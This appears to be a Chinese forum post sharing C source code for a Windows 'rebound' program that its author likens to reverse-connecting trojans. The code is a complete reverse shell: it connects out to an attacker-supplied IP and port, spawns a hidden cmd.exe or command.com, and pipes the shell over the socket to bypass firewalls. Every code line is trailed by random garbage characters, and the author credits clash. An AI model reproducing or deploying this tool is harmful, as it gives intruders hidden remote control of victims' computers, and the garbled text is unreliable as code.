这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $qQYxx@
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/* ============================== E=ijt3
Rebound port in Windows NT |6JKB'
By wind,2006/7 p|t" 4HQ
===============================*/ _w4G|j$C
#include @/.#
/
#include ["EXSptB
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#pragma comment(lib,"wsock32.lib") sip4,>,E
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void OutputShell(); BqNeY<zB*
SOCKET sClient; f47]gtB-
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; EVX3uC}{
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void main(int argc,char **argv) ?n`m
{ ?[Lk]A&"L2
WSADATA stWsaData; K>$f#^
int nRet; !Zj]0,^
SOCKADDR_IN stSaiClient,stSaiServer; pY"WW0p"C
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if(argc != 3) %;k Hnl
{ w+R/>a(]
printf("Useage:\n\rRebound DestIP DestPort\n"); 2F:qaz
return; z3+@[I$
} .d1ff];
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WSAStartup(MAKEWORD(2,2),&stWsaData); .C%
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mQ:{>`
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stSaiClient.sin_family = AF_INET; ;|5-{+2 U%
stSaiClient.sin_port = htons(0); $9,&BW_*
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); p0@^1
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) v745FIy<
{ {|?^@
printf("Bind Socket Failed!\n"); ZZT #V%Q=u
return; ,0W^"f.g{m
} 5g7@Dj,.
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stSaiServer.sin_family = AF_INET; EnM
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .HS6DOQ
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1#A$&'&\J;
{ 53])@Mmus
printf("Connect Error!"); 7=CkZ&(?
return; YZg#H)w%
} t WI-
OutputShell(); AoS7B:T;!
} |3'
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void OutputShell() $d?W1D<A
{ G\@pg;0|y
char szBuff[1024]; 7)lEZJK&T
SECURITY_ATTRIBUTES stSecurityAttributes; m-Eh0Zl>Z
OSVERSIONINFO stOsversionInfo; [s(D==8
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; K;RH,o1
STARTUPINFO stStartupInfo; l[/`kK
char *szShell; dkC[SG`
PROCESS_INFORMATION stProcessInformation; cV+?j}"*+
unsigned long lBytesRead; MVYd\)\o
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;V}:0{p
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %!<Y
stSecurityAttributes.lpSecurityDescriptor = 0; .e~"+Pe6b
stSecurityAttributes.bInheritHandle = TRUE; }UhYwJf89
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #CC5+
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); k;l3^kTy
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); vY4sU@+V
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n=.P46|
stStartupInfo.wShowWindow = SW_HIDE; G !q[NRu
stStartupInfo.hStdInput = hReadPipe; G*CPj^O
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; W7S~~
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GetVersionEx(&stOsversionInfo); UkL1h7}a\
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switch(stOsversionInfo.dwPlatformId) Q\$3l'W
{ <`}P
case 1: Pxlc RF
szShell = "command.com"; %O"8|ZG9{
break;
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default: ^D+J
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szShell = "cmd.exe"; dHnCSOM<
break; I!sT=w8V
} 2*:q$ c
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); C96/
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send(sClient,szMsg,77,0); P%3pM*.
while(1) 8z9{H
{ #{cy( &cz
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); aB,-E>+
if(lBytesRead) 5'zXCHt
{ }Le]qR9Y]
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U$OZkHA[
send(sClient,szBuff,lBytesRead,0); 39X~<\&'
} R;< q<i_l
else 2Rk}ovtD[
{ =oBpS=<7
lBytesRead=recv(sClient,szBuff,1024,0); KdVKvs[
if(lBytesRead<=0) break; l=~!'1@L}
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); YF5}~M ymF
} MEDh
} /F0q8j0
^ ""edCs
return; I|@+O#
}